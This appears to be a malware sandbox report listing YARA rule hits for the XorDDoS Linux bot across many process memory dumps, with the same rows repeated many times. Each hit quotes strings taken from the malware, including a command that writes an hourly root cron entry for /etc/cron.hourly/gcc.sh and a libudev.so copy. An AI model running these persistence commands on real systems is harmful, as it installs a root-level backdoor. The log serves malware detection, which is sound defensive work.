5515.1.000000001a887bdc.00000000989094f2.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x863fb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x8644d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x6ad30:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x6ae29:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
5466.1.000000001a887bdc.00000000989094f2.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
5466.1.000000001a887bdc.00000000989094f2.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x863fb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x8644d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x6ad30:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x6ae29:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
5389.1.000000001a887bdc.00000000989094f2.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
5389.1.000000001a887bdc.00000000989094f2.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x863fb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x8644d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x6ad30:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x6ae29:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
5395.1.000000001a887bdc.00000000989094f2.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
5395.1.000000001a887bdc.00000000989094f2.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x863fb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x8644d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x6ad30:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x6ae29:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
5421.1.000000001a887bdc.00000000989094f2.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
5421.1.000000001a887bdc.00000000989094f2.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x863fb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x8644d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x6ad30:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x6ae29:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
5326.1.000000001a887bdc.00000000989094f2.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
5326.1.000000001a887bdc.00000000989094f2.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x863fb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x8644d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x6ad30:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x6ae29:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
5363.1.000000001a887bdc.00000000989094f2.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
5363.1.000000001a887bdc.00000000989094f2.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x863fb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x8644d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x6ad30:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x6ae29:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
5534.1.000000001a887bdc.00000000989094f2.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
5534.1.000000001a887bdc.00000000989094f2.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x863fb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x8644d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x6ad30:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x6ae29:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
5308.1.000000001a887bdc.00000000989094f2.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
5308.1.000000001a887bdc.00000000989094f2.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x863fb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x8644d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x6ad30:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x6ae29:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
5276.1.000000001a887bdc.00000000989094f2.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
5276.1.000000001a887bdc.00000000989094f2.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x863fb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x8644d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x6ad30:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x6ae29:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
5366.1.000000001a887bdc.00000000989094f2.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
5366.1.000000001a887bdc.00000000989094f2.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x863fb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x8644d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x6ad30:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x6ae29:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
5526.1.000000001a887bdc.00000000989094f2.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
5526.1.000000001a887bdc.00000000989094f2.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x863fb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x8644d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x6ad30:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x6ae29:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
5478.1.000000001a887bdc.00000000989094f2.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
5478.1.000000001a887bdc.00000000989094f2.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x863fb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x8644d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x6ad30:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x6ae29:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
5302.1.000000001a887bdc.00000000989094f2.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
5302.1.000000001a887bdc.00000000989094f2.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x863fb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x8644d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x6ad30:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x6ae29:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
5552.1.000000001a887bdc.00000000989094f2.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
5552.1.000000001a887bdc.00000000989094f2.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x863fb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x8644d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x6ad30:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x6ae29:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
5387.1.000000001a887bdc.00000000989094f2.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
5387.1.000000001a887bdc.00000000989094f2.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x863fb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x8644d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x6ad30:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x6ae29:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
5495.1.000000001a887bdc.00000000989094f2.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
5495.1.000000001a887bdc.00000000989094f2.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x863fb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x8644d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x6ad30:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x6ae29:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
5279.1.000000001a887bdc.00000000989094f2.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
5279.1.000000001a887bdc.00000000989094f2.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x863fb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x8644d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x6ad30:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x6ae29:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
5529.1.000000001a887bdc.00000000989094f2.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
5529.1.000000001a887bdc.00000000989094f2.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x863fb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x8644d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x6ad30:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x6ae29:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
5329.1.000000001a887bdc.00000000989094f2.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
5329.1.000000001a887bdc.00000000989094f2.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x863fb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x8644d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x6ad30:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x6ae29:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
5482.1.000000001a887bdc.00000000989094f2.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
5482.1.000000001a887bdc.00000000989094f2.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x863fb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x8644d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x6ad30:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x6ae29:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
5509.1.000000001a887bdc.00000000989094f2.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
5509.1.000000001a887bdc.00000000989094f2.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x863fb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x8644d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x6ad30:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x6ae29:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
5492.1.000000001a887bdc.00000000989094f2.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
5492.1.000000001a887bdc.00000000989094f2.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x863fb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x8644d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x6ad30:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x6ae29:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
5441.1.000000001a887bdc.00000000989094f2.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
5441.1.000000001a887bdc.00000000989094f2.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x863fb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x8644d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x6ad30:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x6ae29:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
5374.1.000000001a887bdc.00000000989094f2.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
5374.1.000000001a887bdc.00000000989094f2.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x863fb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x8644d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x6ad30:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x6ae29:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
5472.1.000000001a887bdc.00000000989094f2.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
5472.1.000000001a887bdc.00000000989094f2.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x863fb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x8644d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x6ad30:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x6ae29:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
5264.1.000000001a887bdc.00000000989094f2.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
5264.1.000000001a887bdc.00000000989094f2.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x863fb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x8644d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x6ad30:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x6ae29:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
5410.1.000000001a887bdc.00000000989094f2.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
5410.1.000000001a887bdc.00000000989094f2.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x863fb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x8644d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x6ad30:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x6ae29:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
5348.1.000000001a887bdc.00000000989094f2.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
5348.1.000000001a887bdc.00000000989094f2.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x863fb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x8644d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x6ad30:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x6ae29:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
5319.1.000000001a887bdc.00000000989094f2.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
5319.1.000000001a887bdc.00000000989094f2.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x863fb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x8644d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x6ad30:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x6ae29:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
5475.1.000000001a887bdc.00000000989094f2.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
5475.1.000000001a887bdc.00000000989094f2.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x863fb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x8644d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x6ad30:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x6ae29:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
5281.1.000000001a887bdc.00000000989094f2.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
5281.1.000000001a887bdc.00000000989094f2.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x863fb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x8644d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x6ad30:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x6ae29:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
5502.1.000000001a887bdc.00000000989094f2.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
5502.1.000000001a887bdc.00000000989094f2.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x863fb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x8644d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x6ad30:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x6ae29:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
5521.1.000000001a887bdc.00000000989094f2.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
5521.1.000000001a887bdc.00000000989094f2.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x863fb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x8644d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x6ad30:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x6ae29:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
5254.1.000000001a887bdc.00000000989094f2.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
5254.1.000000001a887bdc.00000000989094f2.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x863fb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x8644d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x6ad30:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x6ae29:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
5299.1.000000001a887bdc.00000000989094f2.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
5299.1.000000001a887bdc.00000000989094f2.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x863fb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x8644d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x6ad30:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x6ae29:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
5392.1.000000001a887bdc.00000000989094f2.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
5392.1.000000001a887bdc.00000000989094f2.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x863fb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x8644d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x6ad30:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x6ae29:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
5517.1.000000001a887bdc.00000000989094f2.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
5517.1.000000001a887bdc.00000000989094f2.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x863fb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x8644d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x6ad30:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x6ae29:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
5369.1.000000001a887bdc.00000000989094f2.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
